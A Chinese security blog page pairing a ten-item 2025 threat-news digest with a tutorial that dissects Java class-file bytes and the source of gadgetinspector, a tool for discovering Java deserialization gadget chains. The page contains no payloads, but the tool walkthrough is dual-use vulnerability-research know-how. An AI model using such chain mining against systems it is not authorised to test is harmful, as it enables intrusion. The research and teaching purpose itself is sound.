1、Lazarus组织针对韩国企业发起“水坑攻击” https://www.bleepingcomputer.com/news/security/lazarus-hackers-breach-six-companies-in-watering-hole-attacks/ 2025年4月24日，研究人员披露，朝鲜黑客组织Lazarus在2024年11月至2025年2月期间针对韩国软件、IT、金融、半导体制造及电信行业发起代号为“Operation SyncHole”的水坑攻击。攻击者利用韩国广泛使用的文件传输客户端漏洞，植入恶意代码入侵至少六家机构。研究人员指出，由于该软件在韩国的普及性，实际受害企业可能更多。尽管漏洞在攻击前已被厂商知晓，但L 2、攻击者利用Ivanti零日漏洞在日本部署恶意软件 https://thehackernews.com/2025/04/dslogdrat-malware-deployed-via-ivanti.html 2025年4月25日，研究人员披露，攻击者利用Ivanti Connect Secure（ICS）的零日漏洞（CVE-2025-0282）在日本部署新型恶意软件DslogdRAT及一个WebShell。据研究报告表示，该漏洞在2024年12月被用于针对日本机构的攻击，攻击者可借此实现未授权远程代码执行。Ivanti已于2025年1月初发布补丁修复该漏洞。目前，受影响机构需排查历史日志以确认是否遭入侵。 3、黑客利用配置不当的K8s集群部署挖矿软件 https://cybersecuritynews.com/threat-actors-taking-advantage-of-unsecured-kubernetes-clusters/ 2025年4月24日，研究人员发现，黑客正大规模利用配置不当的Kubernetes（K8s）集群部署加密货币挖矿恶意软件。攻击者通过弱密码爆破、认证绕过等方式入侵集群，创建非法容器并劫持受害组织的计算资源进行门罗币（Monero）等加密货币挖矿。此类攻击不仅导致企业云资源成本激增，还可能影响关键业务应用的性能。 4、美国医疗机构遭勒索攻击致近百万患者数据泄露 https://www.bleepingcomputer.com/news/security/frederick-health-data-breach-impacts-nearly-1-million-patients/ 2025年4月24日，美国马里兰州大型医疗机构Frederick Health披露，其于1月27日遭受勒索软件攻击，导致近百万患者敏感信息泄露，泄露数据包括患者姓名、住址、出生日期、社会安全号码、驾照号码、医疗保险信息及临床诊疗记录。Frederick Health在3月底向患者发出通知，并联合执法部门及第三方取证公司展开调查，但未透露是否支付赎金或攻击者身份。 5、研究人员披露Redis存在高危拒绝服务漏洞 https://gbhackers.com/redis-dos-flaw/ 2025年4月24日，研究人员披露，Redis开源数据库被发现存在高危拒绝服务漏洞（CVE-2025-21605），影响2.6及以后所有版本。攻击者可利用未受限制的输出缓冲区，通过未授权请求耗尽服务器内存或直接导致服务崩溃。官方已在6.2.18、7.2.8和7.4.3版本中发布修复补丁。鉴于Redis在缓存、会话管理等关键业务中的广泛应用，建议立即升级至安全版本。 6、代号为ToyMaker的勒索组织开展双重勒索攻击 https://thehackernews.com/2025/04/toymaker-uses-lagtoy-to-sell-access-to.html 2025年4月26日，研究人员披露，一个代号为ToyMaker的初始访问中介（IAB）正通过定制恶意软件LAGTOY（又名HOLERUN）入侵企业网络，并将访问权限转售给CACTUS等实施双重勒索的勒索软件组织。该恶意软件具备反向Shell连接及远程命令执行能力，使攻击者能完全控制受感染终端。ToyMaker主要出于经济利益，专门扫描并利用系统漏洞建立初始入侵点，为下游勒索攻击铺路。 7、英国零售巨头玛莎百货（M&S）因网络攻击停摆 https://www.infosecurity-magazine.com/news/ms-shuts-down-online-orders/ 2025年4月25日，英国零售巨头玛莎百货（M&S）因遭遇网络安全事件，宣布暂停其官网（M&S.com）及移动应用的在线订单服务，恢复时间尚未确定。该公司未透露具体攻击细节，但此举可能是由于后端系统遭受入侵，需全面排查影响范围。目前尚不清楚攻击是否涉及数据泄露或勒索软件，但该事件已对消费者在线购物造成直接影响。 8、Commvault被发现可致远程接管漏洞 https://hackread.com/critical-commvault-flaw-allows-full-system-takeover/ 2025年4月25日，企业级备份解决方案Commvault Command Center曝出高危漏洞（CVE-2025-34028），攻击者可利用该漏洞在未认证的情况下远程执行任意代码，完全控制目标系统。漏洞存在于deployWebpackage.do接口，因对外部服务器交互缺乏严格验证，导致预认证SSRF攻击风险。目前Commvault已发布补丁，建议使用Innovation Release版本的企业立即更新。 9、钓鱼即服务平台Darcula引入生成式AI 大幅降低网络犯罪门槛 https://thehackernews.com/2025/04/darcula-adds-genai-to-phishing-toolkit.html 网络安全公司Netcraft报告显示，钓鱼平台Darcula新增生成式AI功能，可快速创建多语言钓鱼页面，大幅降低犯罪门槛。该平台已关联全球超2.5万次攻击，使无技术背景者也能轻松发动大规模网络诈骗。 10、微软悬赏最高3万美元征集AI系统漏洞 https://www.bleepingcomputer.com/news/microsoft/microsoft-now-pays-up-to-30-000-for-some-ai-vulnerabilities/ 微软将Dynamics 365和Power Platform的AI漏洞赏金最高提至3万美元，涵盖推理操纵等关键漏洞，奖励基于严重性和提交质量。此前已支付600万美元奖金，并扩展AI安全研究激励措施。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

Intro 目前在CTF比赛中，对于Java反序列化基本上靠codeql、tabby等工具分析利用链，tabby基于字节码的特性会更准确一些。而gadgetinspector作为一个有些年头的基于ASM对字节码进行分析的自动化反序列化链挖掘工具，虽然在实际场景使用中用到的不算很多，但是经过一些功能上的补足和二开后也提高了一部分的准确率。我们主要通过二开后的gadgetinspector来学习一下作者是如何通过ASM来对字节码进行处理并跟踪污点流进行分析。在分析gadgetInspector之前，我们要先对字节码的相关结构有一些了解，所以我们可以按照字节码的固定架构使用十六进制编辑器查看一下字节码中到底存 二开后的GadgetInspector：https://github.com/threedr3am/gadgetinspector 字节码分析 我们以如下类进行分析： package com.y1zh3e7.Test; public class ClassTest {    public static void main(String[] args) {        String sayHello = "Hello World!";   } } 编译后class文件扔到hex编辑器里查看十六进制方便分析： CA FE BA BE 00 00 00 34 00 18 0A 00 04 00 14 08 00 15 07 00 16 07 00 17 01 00 06 3C 69 6E 69 74 3E 01 00 03 28 29 56 01 00 04 43 6F 64 65 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61 62 6C 65 01 00 12 4C 6F 63 61 6C 56 61 72 69 61 62 6C 65 54 61 62 6C 65 01 00 04 74 68 69 73 01 00 1C 4C 63 6F 6D 2F class文件结构如下 0x01 魔术头 Magic Number-4Byte class文件的魔术头为四字节并且值固定，可以看到为如下内容，这个十六进制表达还是挺有意思的 CA FE BA BE 0x02 版本号 Version-2+2Byte 十六进制对应内容为 00 00 00 34 前面的0000为次版本号，后面的0034为主版本号，0x0034对应十进制为52，对应版本为jdk1.8，对应的我IDEA中的jdk版本也是1.8 0x03 常量池 Constant Pool-2+nByte 常量池的2+n指的是两字节的常量数量，加上nByte的常量内容，常量池存储如下内容： 接下来我们继续分析十六进制并以此说明： 首先的两个字节代表常量数量，0x0018转换为十进制为24。这里需要注意的是，常量池的常量索引并不是从0开始而是从1开始，因此24表示常量池中共有23个常量，索引以此为1-23，并且在.class文件中，只有常量池的下标是从0开始，后面的接口、属性、方法等下表依然都是从0开始计数： 00 18 CONSTANT-1 根据上面的表格，我们可以发现不论是何种类型的常量，都是以u1（1字节）的tag位作为起始，因此我们向下读取一字节，为第一个常量的tag，为0x0A： 0A 0x0A对应十进制10，我们在表格中寻找值为10的索引，可以找到该常量类型为CONSTANT_Methodref_info，并且接下来还分别有两个u2的index，我们继续向下读取两个字节，则对应表格中指向声明方法的类描述符的索引项，这些东西的作用我们到后面就会知道了，先继续往下看 00 04 继续向下读取两个字节，对应指向名称及类型描述符索引项，值为20 00 14 constant#1： 0x0a：Methodref_info 0x00 04：Class_info索引项#4 0x00 14：NameAndType索引项#20 CONSTANT-2 向下读取1B，即为第二个常量的TAG位，值为08，对应表格中CONSTANT_Fieldref_info，依旧是两个u2的index constant#2： 0x08：String_info 0x00 15:：指向字符串字面量#21 CONSTANT-3 0x07：Class_info 0x00 16：全局限定名常量项索引#22 CONSTANT-4 0x07：Class_info 0x00 17：全局限定名常量项索引#23 CONSTANT-5 0x01：Utf8_info 0x00 06：字符串长度为6 0x3C 69 6E 69 74 3E：字符串<init> CONSTANT-6 0x01：Utf8-info 0x00 03：字符串长度为3 0x28 29 56：字符串()V CONSTANT-7 0x01：Utf8-info 0x00 04：字符串长度为4 0x43 6F 64 65：字符串Code CONSTANT-8 0x01：Utf8-info 0x00 0F：字符串长度为15 0x4C 69 6E 65 4E 75 6D 62 65 72 54 61 62 6C 65：字符串LineNumberTable CONSTANT-9 0x01：Utf8-info 0x00 12：字符串长度为18 0x4C 6F 63 61 6C 56 61 72 69 61 62 6C 65 54 61 62 6C 65：字符串LocalVariableTable CONSTANT-10 0x01：Utf8-info 0x00 04：字符串长度为4 0x74 68 69 73：字符串this CONSTANT-11 0x01：Utf8-info 0x00 1C：字符串长度为28 0x4C 63 6F 6D 2F 79 31 7A 68 33 65 37 2F 54 65 73 74 2F 43 6C 61 73 73 54 65 73 74 3B：字符串Lcom/y1zh3e7/Test/ClassTest; CONSTANT-12 0x01：Utf8-info 0x00 04：字符串长度为4 0x6D 61 69 6E：字符串main CONSTANT-13 0x01：Utf8-info 0x00 16：字符串长度为22 0x28 5B 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 29 56：字符串([Ljava/lang/String;)V CONSTANT-14 0x01：Utf8-info 0x00 04：字符串长度为4 0x61 72 67 73：字符串args CONSTANT-15 0x01：Utf8-info 0x00 13：字符串长度为19 0x5B 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B：字符串[Ljava/lang/String; CONSTANT-16 0x01：Utf8-info 0x00 08：字符串长度为8 0x73 61 79 48 65 6C 6C 6F：字符串sayHello CONSTANT-17 0x01：Utf8-info 0x00 08：字符串长度为18 0x4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B：字符串Ljava/lang/String; CONSTANT-18 0x01：Utf8-info 0x00 0A：字符串长度为10 0x53 6F 75 72 63 65 46 69 6C 65：字符串SourceFile CONSTANT-19 0x01：Utf8-info 0x00 0A：字符串长度为14 0x43 6C 61 73 73 54 65 73 74 2E 6A 61 76 61：字符串ClassTest.java CONSTANT-20 0x0C：NameAndType_info 0x00 05：字段或方法名常量项索引#5 0x00 06：字段或方法描述符常量索引#6 CONSTANT-21 0x01：Utf8-info 0x00 0C：字符串长度为12 0x48 65 6C 6C 6F 20 57 6F 72 6C 64 21：字符串Hello World! CONSTANT-22 0x01：Utf8-info 0x00 1A：字符串长度为26 0x63 6F 6D 2F 79 31 7A 68 33 65 37 2F 54 65 73 74 2F 43 6C 61 73 73 54 65 73 74：字符串com/y1zh3e7/Test/ClassTest CONSTANT-23 0x01：Utf8-info 0x00 10：字符串长度为16 0x6A 61 76 61 2F 6C 61 6E 67 2F 4F 62 6A 65 63 74：字符串java/lang/Object 0x04 访问标志位 Access Flags-2Byte 访问标志位包括一个class文件的属性（如是类还是接口，是否被定义成public，是否是abstract，是否是final） 我们向下读取两个Byte0x0021，代表的是0x0020和0x0001的集合，意思是该类为public，并且继承object（0x06父类索引） 0x05 类索引-2Byte 类索引可以确定类的全局限定名称，我们读取两个字节为0x00 03，对应常量池第三个常量CONSTANT-3，可以发现CONSTANT-3：0x00 16：全局限定名常量项索引#22，所以继续去CONSTANT-22查找对应常量，得到全局限定类名com/y1zh3e7/Test/ClassTest 0x06 父类索引-2Byte 0X00 04，对应CONSTANT-4，0x00 17：全局限定名常量项索引#23，对应java/lang/Object 0X07 接口索引-2+n 2+n依旧指两个字节代表接口数量，n代表接口表，我们向下读取两个字节0X00 00，即接口数量为0，自然也没有n了 0x08 字段表集合-2+nByte 字段表中包含了类中声明的变量，以及实例化后的变量，但是不包括方法内声明的局部变量，因此继续向下读取两个字节，可以发现也是0x00 00，因为我们的变量是定义在psvm中，如果将代码修改如下： public class ClassTest { String sayHello = "Hello World!"; } 那么此处的2byte则为0x00 01 0x09 方法-2+nByte 继续读取2Byte，0X00 02，说明我们的类中有两个方法，但是代码中我们明明只有一个方法psvm，其实是因为除了接口和抽象类，在javac时会自动生成一个无参构造，我们可以反编译看到他，也可以javap后看到这个构造器： { public com.y1zh3e7.Test.ClassTest();   descriptor: ()V   flags: ACC_PUBLIC   Code:     stack=1, locals=1, args_size=1         0: aload_0         1: invokespecial #1                 // Method java/lang/Object."<init>":()V         4: return     LineNumberTable:       line 3: 0     LocalVariableTable:       Start Length Slot Name   Signature           0       5     0 this   Lcom/y1zh3e7/Test/ClassTest; public static void main(java.lang.String[]);   descriptor: ([Ljava/lang/String;)V   flags: ACC_PUBLIC, ACC_STATIC   Code:     stack=1, locals=2, args_size=1         0: ldc           #2                 // String Hello World!         2: astore_1         3: return     LineNumberTable:       line 5: 0       line 6: 3     LocalVariableTable:       Start Length Slot Name   Signature           0       4     0 args   [Ljava/lang/String;           3       1     1 sayHello   Ljava/lang/String; } 我们继续向下读取两个方法，方法表结构如下： method_info {   u2             access_flags;   u2             name_index;   u2             descriptor_index;   u2             attributes_count;   attribute_info attributes[attributes_count]; } 构造方法解析 我们按照格式来读取第一个方法：0x00 01，访问标志位，代表public方法，给出以下访问标志控制符掩码解析： 十六进制值 名称 说明 0x0001 ACC_PUBLIC 方法为 public 权限 0x0002 ACC_PRIVATE 方法为 private 权限 0x0004 ACC_PROTECTED 方法为 protected 权限 0x0008 ACC_STATIC 方法为 static 静态方法 0x0010 ACC_FINAL 方法为 final（不可被覆盖） 0x0020 ACC_SYNCHRONIZED 方法为 synchronized（同步方法） 0x0040 ACC_BRIDGE 方法是由编译器生成的桥接方法（用于泛型类型擦除） 0x0080 ACC_VARARGS 方法接受可变参数（如 String... args） 0x0100 ACC_NATIVE 方法为 native（由本地代码实现） 0x0400 ACC_ABSTRACT 方法为 abstract（抽象方法，无实现） 0x0800 ACC_STRICT 方法为 strictfp（严格浮点模式） 0x1000 ACC_SYNTHETIC 方法是由编译器生成的（如默认构造方法、枚举类的 values() 方法等） 控制符可以组合使用，如 public static 方法：0x0001 (ACC_PUBLIC) | 0x0008 (ACC_STATIC) = 0x0009 private final synchronized 方法：0x0002 | 0x0010 | 0x0020 = 0x0032 其中某些标志不能同时存在（如 public、private、protected 只能三选一）。 0x00 05，name_index代表方法索引名，我们去CONSTANT-5进行查找为<init>，这是字节码中对构造方法的专用描述。 0x00 06，方法描述符索引。查找CONSTANT-6，为()V。方法描述符的语法是 (参数类型)返回类型，其中 V 表示 void（即无返回值）。()：表示方法没有参数。V：表示方法的返回类型为 void。 为什么构造方法的返回类型是 void？虽然构造方法在 Java 语法中没有显式返回值，但在字节码层面，构造方法的返回类型被标记为 void。实际上，构造方法隐式返回构造的实例对象（this），但这一过程由 JVM 自动处理，不需要在描述符中体现。 0x00 01，attributes_count，这里引入属性表的概念。属性表可以描述方法的专有信息，这里则代表了该方法的属性表数量为一个。 通用属性表结构如下： attribute_info { u2 attribute_name_index; u4 attribute_length; u1 info[attribute_length];} 根据通用属性表结构，我们读取一个u2，0x00 07到CONSTANT-7中查找，发现是Code。 在 JVM 的 .class 文件中，Code、LineNumberTable、LocalVariableTable 和 SourceFile 是类文件属性的重要组成部分，分别用于描述方法的行为、调试信息、局部变量与源码的映射关系，以及源码文件的元数据。 Code属性： Code 属性是方法表（method_info）中的核心属性，作用如下： 存储字节码：包含方法的具体指令（如 aload_0, invokespecial 等）。 定义执行环境：通过 max_stack 和 max_locals 告诉 JVM 如何分配栈帧内存。 异常处理：通过 exception_table 定义 try-catch 块的范围和异常类型。 关联调试信息：通过子属性（如 LineNumberTable）将字节码与源码关联。 Code属性结构如下： Code_attribute {   u2 attribute_name_index;   u4 attribute_length;   u2 max_stack;   u2 max_locals;   u4 code_length;   u1 code[code_length];   u2 exception_table_length;   {   u2 start_pc;       u2 end_pc;       u2 handler_pc;       u2 catch_type;   } exception_table[exception_table_length];   u2 attributes_count;   attribute_info attributes[attributes_count]; } 继续读取一个u4，attribute_length，0x0000002F代表接下来的47个字节为Code属性的指令字节码。 读取一个u2，0x00 01，max_stack，代表操作数栈最大深度1，一会我们在分析字节码指令时就知道这是什么意思了。 0X00 01，max_locals，代表方法的局部变量表大小为1，局部变量为this，因为所有实例方法（非静态方法）和构造方法的第一个局部变量槽位（索引 0）都存储了当前对象的引用（即 this）。这是 JVM 的隐式规则，无需在代码中显式声明，因此在psvm这个静态方法中就不会包含this了。此外如果该构造方法为有参构造，那么max_locals数量会+n（参数列表的参数数量） 0x00 00 00 05，code_length为指令长度，也就是说接下来的五个字节为指令。 2A B7 00 01 B1，我们分别来分析这几条指令的作用。2A对应指令aload_0，用于加载局部方法表中的参数到操作数栈中，因此这一步会将this加载到操作数栈上。B7 对应指令invokespecial ，00 01对应CONSTANT-1，即调用父类构造方法。B1对应指令return，方法返回。 0x00 00，exception_table_length，代表异常表为空。 0x00 02，attributes_count，代表该Code属性中还包含了两个子属性。 0x00 08，对应CONSTANT-8，LineNumberTable，则说明该子属性为一个LineNumberTable。 LineNumberTable 属性： Code 属性的子属性，记录 字节码偏移量 与 源码行号 的映射关系，作用如下： 调试支持：在 IDE 或异常堆栈中显示源码行号（如 Exception in thread "main" java.lang.NullPointerException at Test.java:12）。 反编译辅助：帮助工具（如 javap）生成更易读的反编译结果。 优化限制：若省略此属性，JIT 编译器可能无法进行某些优化（如基于行号的 Profiling）。 LineNumberTable属性结构如下： LineNumberTable_attribute { u2 attribute_name_index; u4 attribute_length; u2 line_number_table_length; { u2 start_pc; u2 line_number; } line_number_table[line_number_table_length];} 0x00 00 00 06，attribute_length，代表接下来的六字节为属性。 00 01，line_number_table_length为1，代表了下面的line_number_table长度为1。 每个line_number_table包含两个字段，0x00 00对应start_pc，0x00 03对应line_number，这两个字段负责将字节码偏移量与源码行数进行映射，start_pc对应字节码偏移量，line_number对应源码行数，因此0003意思是将第0行开始的字节码指令全部与第三行源码进行对应。如果line_number_table长度不为1，还会有多个start_pc来负责映射字节码指令和源码的关系。比如如果还有一组start_pc=3，line_number=4，那么两组映射关系意思是字节码偏移量0-2对应源码第三行，字节码偏移量3及之后的指令对应源码第四行。 我们继续向下读取第Code的第二个子属性，0x00 09，对应CONSTANT-9，LocalVariableTable。 LocalVariableTable属性： Code 属性的子属性，记录 局部变量名、类型 及其在局部变量表中的 槽位 和作用域，作用如下： 调试支持：在 IDE 中显示局部变量名和值（如调试时查看 sayHello 变量的内容）。 反射支持：通过 Method.getParameters() 获取参数名（需编译时启用 -parameters 选项）。 反编译辅助：帮助反编译器还原变量名（否则变量名会变成 var1, var2）。 LocalVariableTable属性结构如下： LocalVariableTable_attribute {   u2 attribute_name_index;   u4 attribute_length;   u2 local_variable_table_length;   {   u2 start_pc;       u2 length;       u2 name_index;       u2 descriptor_index;       u2 index;   } local_variable_table[local_variable_table_length]; } 0x00 0000 0C，attribute_length，代表接下来12字节为属性长度。 0x00 01，代表一个局部变量条目，因此下面的local_variable_table[1]中即为描述局部变量this的相关信息。0x00 00，start_pc，代表this的作用域从字节码偏移量0开始，作用域覆盖0x00 05length，共五个字节。 0x00 0A，name_index，指向CONSTANT-10，局部变量名为this。 0x00 0B，类的全局限定名，指向CONSTANT-11，Lcom/y1zh3e7/Test/ClassTest 0x00 00，index，指该局部变量存储在局部变量表的槽位 0（实例方法的 this 固定占用槽位 0） main方法解析 0x00 09：访问标志，0x01和0x08的集合，即public static。 0x00 0C：name_index，指向CONSTANT-12，类名main， 0x00 0D：descriptor_index，指向CONSTANT-13，([Ljava/lang/String;)V，方法接收参数为String，返回类型为viod。 0x00 01：attributes_count，属性数量为1。 继续解析属性： 字段十六进制值十进制值/说明attribute_name_index00 07指向常量池第 7 项（"Code"）attribute_length00 00 00 3C属性总长度：60 字节max_stack00 01操作数栈最大深度：1max_locals00 02局部变量表大小：2（args 和 sayHello）code_length00 00 00 04字节码长度：4 字节字节码12 02 4C B1指令解析：12 02ldc #2（加载常量 "Hello World!"）4Castore_1（存储到局部变量 1）B1return（方法返回）exception_table_length 子属性 1：LineNumberTable 字段十六进制值说明attribute_name_index00 08常量池第 8 项（"LineNumberTable"）attribute_length00 00 00 0A长度 10 字节line_number_table_length00 022 个行号条目条目 1：start_pc00 00字节码偏移 0 → 源码第 5 行条目 1：line_number00 05条目 2：start_pc00 03字节码偏移 3 → 源码第 6 行条目 2：line_number00 06 子属性 2：LocalVariableTable 字段十六进制值说明attribute_name_index00 09常量池第 9 项（"LocalVariableTable"）attribute_length00 00 00 16长度 22 字节local_variable_table_length00 022 个局部变量条目条目 1：start_pc00 00变量 args 作用域起始偏移 0length00 04作用域长度 4 字节name_index00 0E常量池第 14 项（变量名 args）descriptor_index00 0F常量池第 15 项（类型 [Ljava/lang/String;）index00 00局部变量槽位 0x10 属性Attribute-2+nByte 0x00 01：属性数量1 0x0012：属性名称，CONSTANT-18，SourceFile。 SourceFile属性： 类文件的顶级属性，记录 源码文件名，作用如下： 调试支持：在异常堆栈中显示源码文件名（如 Test.java）。 代码溯源：帮助开发者快速定位源码文件。 可读性：反编译时显示原始文件名，而非匿名类名。 SourceFile文件结构如下： SourceFile_attribute {   u2 attribute_name_index;     u4 attribute_length;         u2 sourcefile_index;       } 0x00 00 00 02，attribute_length，属性长度2. 0x00 13，sourcefile_index，指向CONSTANT-19，为ClassTest.java。 gadgetInspector分析 0x01 Intro 工具基于ASM技术来对控制字节码，从而达到对传入jar及war包的classpath下的类进行读取，并依次记录类信息、类方法信息、调用关系信息。最后基于以上收集的信息来进行反序列化链的挖掘，分别对应如下几个类： GadgetInspector：main方法，程序的入口，做一些配置以及数据的准备工作 MethodDiscovery：类、方法数据以及父子类、超类关系数据的搜索 PassthroughDiscovery：分析参数能影响到返回值的方法，并收集存储 CallGraphDiscovery：记录调用者caller方法和被调用者target方法的参数关联 SourceDiscovery：入口方法的搜索，只有具备某种特征的入口才会被标记收集 GadgetChainDiscovery：整合以上数据，并通过判断调用链的最末端slink特征，从而判断出可利用的gadget chain 0x02 主入口-GadgetInspetcor 该类为整个工具的入口类，基本上是对于相关配置做出初始化处理，静态代码块中创建准备写入相关结果的文件。main中首先验证是否存在参数，若为空退出。工具在挖掘时需要我们指定不同的gadget-chain，如jdk原生反序列化、jackson等，以及指定classpath的路径。 接下来会对日志进行配置，之后是对历史dat文件（上面提到的类、方法等相关数据的本地化存储）的管理，以及反序列化链类型的指定。我们主要看这一部分是如何指定反序列化链类型的： else if (arg.equals("--config")) {                //--config参数指定fuzz类型                config = ConfigRepository.getConfig(args[++argIndex]);                if (config == null) {                    throw new IllegalArgumentException("Invalid config name: " + args[argIndex]);               } 跟进到getConfig方法中，并且也可以看到所有的gadget-chain是通过不同的Config来实现的，并且都实现了GIConfig接口： public interface GIConfig {    String getName();    SerializableDecider getSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap, InheritanceMap inheritanceMap);    ImplementationFinder getImplementationFinder(        Map<Handle, MethodReference> methodMap,        Map<Handle, Set<Handle>> methodImplMap,        InheritanceMap inheritanceMap,        Map<ClassReference.Handle, Set<Handle>> methodsByClass);    SourceDiscovery getSourceDiscovery();    SlinkDiscovery getSlinkDiscovery(); } 我们以Jackson的实现来看，这些被实现的方法都会在后面用到，他们都是用来对指定gadget-chain进行区分的方法，不同的gadget-chain的特征不同，因此我们可以通过这些方法来确认对应的chain。 package gadgetinspector.config; import gadgetinspector.ImplementationFinder; import gadgetinspector.SerializableDecider; import gadgetinspector.SlinkDiscovery; import gadgetinspector.SourceDiscovery; import gadgetinspector.data.ClassReference; import gadgetinspector.data.InheritanceMap; import gadgetinspector.data.MethodReference; import gadgetinspector.data.MethodReference.Handle; import gadgetinspector.jackson.JacksonImplementationFinder; import gadgetinspector.jackson.JacksonSerializableDecider; import gadgetinspector.jackson.JacksonSourceDiscovery; import java.util.Map; import java.util.Set; public class JacksonDeserializationConfig implements GIConfig {    @Override    public String getName() {        return "jackson";   }    @Override    public SerializableDecider getSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap, InheritanceMap inheritanceMap) {        return new JacksonSerializableDecider(methodMap);   }    @Override    public ImplementationFinder getImplementationFinder(        Map<Handle, MethodReference> methodMap,        Map<Handle, Set<Handle>> methodImplMap,        InheritanceMap inheritanceMap,        Map<ClassReference.Handle, Set<Handle>> methodsByClass) {        return new JacksonImplementationFinder(getSerializableDecider(methodMap, inheritanceMap));   }    @Override    public SourceDiscovery getSourceDiscovery() {        return new JacksonSourceDiscovery();   }    @Override    public SlinkDiscovery getSlinkDiscovery() {        return null;   } } 跟进JacksonSerializableDecider，两个map中记录的是可以通过Jackson决策的类和方法： //类是否通过决策的缓存集合    private final Map<ClassReference.Handle, Boolean> cache = new HashMap<>();    //类名-方法集合 映射集合    private final Map<ClassReference.Handle, Set<MethodReference.Handle>> methodsByClassMap; 具体的决策判断逻辑在apply中，在后面的分析中我们也可以看到会调用apply方法来判断类和方法是否通过决策。以jackson的apply来举例，由于jackson的json反序列化是需要以类的无参构造为起始，在java中如果没有显式声明无参构造器，但是显式声明了一个有参构造，那么该类是没有无参构造的，因此代表着该类不可进行jackson反序列化。 @Override    public Boolean apply(ClassReference.Handle handle) {        if (isNoGadgetClass(handle)) {            return false;       }        Boolean cached = cache.get(handle);        if (cached != null) {            return cached;       }        Set<MethodReference.Handle> classMethods = methodsByClassMap.get(handle);        if (classMethods != null) {            for (MethodReference.Handle method : classMethods) {                //该类，只要有无参构造方法，就通过决策                if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {                    cache.put(handle, Boolean.TRUE);                    return Boolean.TRUE;               }           }       }        cache.put(handle, Boolean.FALSE);        return Boolean.FALSE;   } 接下来回到Config中，继续看InplementationFinder，在决策时由于Java的多态性，并且gadgetinspector无法在要被检测的jar运行时进行判断，因此当调用到某一接口的方法时，需要查找接口所有的实现类中的该方法，并将这些方法组成实际的调用链去进行污点分析。这些方法是否可进行当前指定的gadget-chain反序列化，还是需要通过apply方法来进行判断： public class JacksonImplementationFinder implements ImplementationFinder {    private final SerializableDecider serializableDecider;    public JacksonImplementationFinder(SerializableDecider serializableDecider) {        this.serializableDecider = serializableDecider;   }    @Override    public Set<MethodReference.Handle> getImplementations(MethodReference.Handle target) {        Set<MethodReference.Handle> allImpls = new HashSet<>();        // For jackson search, we don't get to specify the class; it uses reflection to instantiate the        // class itself. So just add the target method if the target class is serializable.        if (Boolean.TRUE.equals(serializableDecider.apply(target.getClassReference()))) {            allImpls.add(target);       }        return allImpls;   } } 继续看JacksonSourceDiscovery，内部只有一个discover方法，这个方法的作用就是帮我们找到可进行Jackson反序列化的入口方法，对于jackson反序列化来说，会以无参构造为入口，并依次执行setter以及getter。因此discover会查找出通过了apply决策后的类的无参构造（()V代表无参，返回值为viod），以及getter和setter。  @Override    public void discover(Map<ClassReference.Handle, ClassReference> classMap,                         Map<MethodReference.Handle, MethodReference> methodMap,                         InheritanceMap inheritanceMap, Map<MethodReference.Handle, Set<GraphCall>> graphCallMap) {        final JacksonSerializableDecider serializableDecider = new JacksonSerializableDecider(methodMap);        for (MethodReference.Handle method : methodMap.keySet()) {            if (skipList.contains(method.getClassReference().getName())) {                continue;           }            if (serializableDecider.apply(method.getClassReference())) {                if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {                    addDiscoveredSource(new Source(method, 0));               }                if (method.getName().startsWith("get") && method.getDesc().startsWith("()")) {                    addDiscoveredSource(new Source(method, 0));               }                if (method.getName().startsWith("set") && method.getDesc().matches("\\(L[^;]*;\\)V")) {                    addDiscoveredSource(new Source(method, 0));               }           } 继续向下看GadgetInspector，进入到initJarData方法中，通过for循环读取最后面的参数，从而指定多个jar或war包，通过URLClassLoader，根据绝对路径将这些jar或war包进行加载，并通过ClassResourceEnumerator将jar或war包中的class进行加载： ClassLoader classLoader = initJarData(args, boot, argIndex, haveNewJar, pathList);                for (int i = 0; i < args.length - argIndex; i++) {                    String pathStr = args[argIndex + i];                    if (!pathStr.endsWith(".jar")) {                        //todo 主要用于大批量的挖掘链                        //非.jar结尾，即目录，需要遍历目录找出所有jar文件                        File file = Paths.get(pathStr).toFile();                        if (file == null || !file.exists())                            continue;                        Files.walkFileTree(file.toPath(), new SimpleFileVisitor<Path>() {                            @Override                            public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {                                if (!file.getFileName().toString().endsWith(".jar"))                                    return FileVisitResult.CONTINUE;                                File readFile = file.toFile();                                Path path = Paths.get(readFile.getAbsolutePath());                                if (Files.exists(path)) {                                    if (ConfigHelper.history) {                                        if (!scanJarHistory.contains(path.getFileName().toString())) {                                            if (jarCount.incrementAndGet() <= ConfigHelper.maxJarCount) {                                                pathList.add(path);                                           }                                       }                                   } else {                                        if (jarCount.incrementAndGet() <= ConfigHelper.maxJarCount) {                                            pathList.add(path);                                       }                                   }                               }                                return FileVisitResult.CONTINUE;                           }                       });                        continue;                   }                    Path path = Paths.get(pathStr).toAbsolutePath();                    if (!Files.exists(path)) {                        throw new IllegalArgumentException("Invalid jar path: " + path);                   }                    pathList.add(path);                      //类枚举加载器，具有两个方法            //getRuntimeClasses获取rt.jar的所有class            //getAllClasses获取rt.jar以及classLoader加载的class           final ClassResourceEnumerator classResourceEnumerator = new ClassResourceEnumerator(                    classLoader); 接下来进入beginDiscovery方法中，接下来我们开始分析具体的挖掘逻辑。 0x03 类、方法、继承关系数据收集-MethodDiscovery 首先进入methodDiscovery当中，可以看到如果不存在，会生成classes.dat、methods .dat、inheritanceMap.dat，分别对类数据、方法数据以及继承关系数据进行收集：  if (!Files.exists(Paths.get("classes.dat")) || !Files.exists(Paths.get("methods.dat"))                || !Files.exists(Paths.get("inheritanceMap.dat"))) {            LOGGER.info("Running method discovery...");            MethodDiscovery methodDiscovery = new MethodDiscovery();            methodDiscovery.discover(classResourceEnumerator);            //保存了类信息、方法信息、继承实现信息            methodDiscovery.save();       } 